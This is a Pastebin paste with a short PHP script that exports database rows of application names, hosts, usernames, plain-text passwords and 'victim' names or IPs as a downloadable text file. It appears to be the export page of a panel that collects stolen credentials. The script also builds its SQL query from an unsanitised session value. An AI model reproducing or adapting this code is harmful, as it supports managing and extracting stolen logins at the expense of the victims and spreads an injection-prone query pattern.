Advertisement
Guest User

Untitled

a guest
Aug 16th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.85 KB | None | 0 0
  1. <?php
  2.                 header("Content-Type: text/plain");
  3.                 header("Content-Disposition: Attachment; filename=export.txt");
  4.                 header("Pragma: no-cache");
  5.                                 include "config.php";
  6.                                 $query  = "SELECT id, app_name, host, username, password, victim_name FROM {$_SESSION['user']}";
  7.                                 $result = mysql_query($query);
  8.                                         while($row = mysql_fetch_assoc($result)){
  9.                             echo "Application: {$row['app_name']}\n";
  10.                             echo "URL: {$row['host']}\n";
  11.                             echo "Username: {$row['username']}\n";
  12.                             echo "Password: {$row['password']}\n";
  13.                             echo "Name/IP: {$row['victim_name']}\n";
  14.                                                         echo "-------------------------------------------\n";
  15.  
  16.                                           }
  17. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement